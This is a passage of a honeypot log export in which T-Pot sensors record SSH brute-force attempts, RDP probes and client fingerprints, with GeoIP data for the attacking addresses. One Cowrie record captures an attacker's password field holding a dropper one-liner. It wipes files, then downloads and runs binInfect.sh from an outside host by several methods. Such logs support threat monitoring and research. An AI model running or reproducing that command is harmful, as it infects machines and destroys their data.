"......?Np.B.....\\rp.}$!...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	IN
36829	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:17:15.777772+03	2021-09-20 15:30:02.796868+03	{"_id": "GwYjA3wBvYTbRNuElGWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.login.failed", "message": "login attempt [kapsch/kapsch] failed", "session": "1b670dfb347a", "@version": "1", "password": "kapsch", "username": "kapsch", "timestamp": "2021-09-20T12:17:15.777772Z", "@timestamp": "2021-09-20T12:17:15.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	IN
36830	216.58.214.138	109.199.241.180	Suricata	2021-09-20 15:17:16.548389+03	2021-09-20 15:30:02.797867+03	{"_id": "HAYjA3wBvYTbRNuEmWWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:16.332158+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "216.58.214.138", "asn": 15169, "as_org": "Google Inc.", "dma_code": 807, "latitude": 37.4043, "location": {"lat": 37.4043, "lon": -122.0748}, "timezone": "America/Los_Angeles", "city_name": "Mountain View", "longitude": -122.0748, "postal_code": "94043", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "216.58.214.138", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 983708501545342, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 42976, "timestamp": "2021-09-20T12:17:16.548389Z", "@timestamp": "2021-09-20T12:17:16.548Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36831	216.58.214.138	109.199.241.180	Suricata	2021-09-20 15:17:16.332158+03	2021-09-20 15:30:02.799867+03	{"_id": "HwYjA3wBvYTbRNuEmWWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:16.332158+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "216.58.214.138", "asn": 15169, "as_org": "Google Inc.", "dma_code": 807, "latitude": 37.4043, "location": {"lat": 37.4043, "lon": -122.0748}, "timezone": "America/Los_Angeles", "city_name": "Mountain View", "longitude": -122.0748, "postal_code": "94043", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "216.58.214.138", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 983708501545342, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 42976, "timestamp": "2021-09-20T12:17:16.332158Z", "@timestamp": "2021-09-20T12:17:16.332Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36832	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:17:17.091758+03	2021-09-20 15:30:02.800867+03	{"_id": "IQYjA3wBvYTbRNuEnGVw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1b670dfb347a", "@version": "1", "duration": 2.9801344871520996, "timestamp": "2021-09-20T12:17:17.091758Z", "@timestamp": "2021-09-20T12:17:17.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	IN
36833	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:17:17.536949+03	2021-09-20 15:30:02.802869+03	{"_id": "JQYjA3wBvYTbRNuEnWVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 45103, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1804882626294133, "@version": "1", "in_iface": "enp5s0", "src_port": 34652, "dest_port": 53, "timestamp": "2021-09-20T12:17:17.536949Z", "@timestamp": "2021-09-20T12:17:17.536Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36839	5.182.39.88	109.199.241.180	Cowrie	2021-09-20 15:17:45.294674+03	2021-09-20 15:30:02.810867+03	{"_id": "awYkA3wBvYTbRNuECWXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.88", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "anonymizer", "sensor": "b63cdd9641b8", "src_ip": "5.182.39.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.182.39.88:35280 (192.168.176.2:22) [session: ead055738716]", "session": "ead055738716", "@version": "1", "protocol": "ssh", "src_port": 35280, "dest_port": 22, "timestamp": "2021-09-20T12:17:45.294674Z", "@timestamp": "2021-09-20T12:17:45.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	anonymizer	RU
36834	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:17:17.858255+03	2021-09-20 15:30:02.803867+03	{"_id": "KAYjA3wBvYTbRNuEnWVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:17.780049+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 75776037611281, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 43796, "dest_port": 3389, "timestamp": "2021-09-20T12:17:17.858255Z", "@timestamp": "2021-09-20T12:17:17.858Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36835	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:17:46.731395+03	2021-09-20 15:30:02.804867+03	{"_id": "bgYkA3wBvYTbRNuEDWXG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2330 (192.168.176.2:22) [session: f1b3e417e53a]", "session": "f1b3e417e53a", "@version": "1", "protocol": "ssh", "src_port": 2330, "dest_port": 22, "timestamp": "2021-09-20T12:17:46.731395Z", "@timestamp": "2021-09-20T12:17:46.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36836	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:17:47.012127+03	2021-09-20 15:30:02.806867+03	{"_id": "bwYkA3wBvYTbRNuEDmXH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 849619624582956, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2330, "dest_port": 22, "timestamp": "2021-09-20T12:17:47.012127Z", "@timestamp": "2021-09-20T12:17:47.012Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36837	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:17:47.012165+03	2021-09-20 15:30:02.807867+03	{"_id": "dAYkA3wBvYTbRNuEEGUO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2330, "dest_port": 22, "timestamp": "2021-09-20T12:17:47.012165", "@timestamp": "2021-09-20T12:17:47.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36838	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:17:47.012391+03	2021-09-20 15:30:02.808867+03	{"_id": "eAYkA3wBvYTbRNuEEWWv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f1b3e417e53a", "@version": "1", "timestamp": "2021-09-20T12:17:47.012391Z", "@timestamp": "2021-09-20T12:17:47.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36840	5.182.39.88	109.199.241.180	Cowrie	2021-09-20 15:17:45.297952+03	2021-09-20 15:30:02.811867+03	{"_id": "bAYkA3wBvYTbRNuECWXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.88", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "anonymizer", "sensor": "b63cdd9641b8", "src_ip": "5.182.39.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "ead055738716", "@version": "1", "duration": 0.0004341602325439453, "timestamp": "2021-09-20T12:17:45.297952Z", "@timestamp": "2021-09-20T12:17:45.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	anonymizer	RU
36841	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:17:46.734399+03	2021-09-20 15:30:02.813869+03	{"_id": "bQYkA3wBvYTbRNuEDWXG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "f1b3e417e53a", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:17:46.734399Z", "@timestamp": "2021-09-20T12:17:46.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36842	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:17:46.735106+03	2021-09-20 15:30:02.814867+03	{"_id": "dgYkA3wBvYTbRNuEEGUO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2330, "timestamp": "2021-09-20T12:17:46.735106", "@timestamp": "2021-09-20T12:17:46.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36843	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 15:17:37.9721+03	2021-09-20 15:30:02.815867+03	{"_id": "VgYjA3wBvYTbRNuE7mWD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [sh/cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *] failed", "session": "47b49951487b", "@version": "1", "password": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *", "username": "sh", "timestamp": "2021-09-20T12:17:37.972100Z", "@timestamp": "2021-09-20T12:17:37.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	AL
36844	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:17:41.844276+03	2021-09-20 15:30:02.817868+03	{"_id": "XgYjA3wBvYTbRNuE-2U8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:41.161823+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1510499126966303, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61991, "dest_port": 3389, "timestamp": "2021-09-20T12:17:41.844276Z", "@timestamp": "2021-09-20T12:17:41.844Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36845	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:17:41.502786+03	2021-09-20 15:30:02.819868+03	{"_id": "YQYjA3wBvYTbRNuE-2U9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:41.161823+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1510499126966303, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": 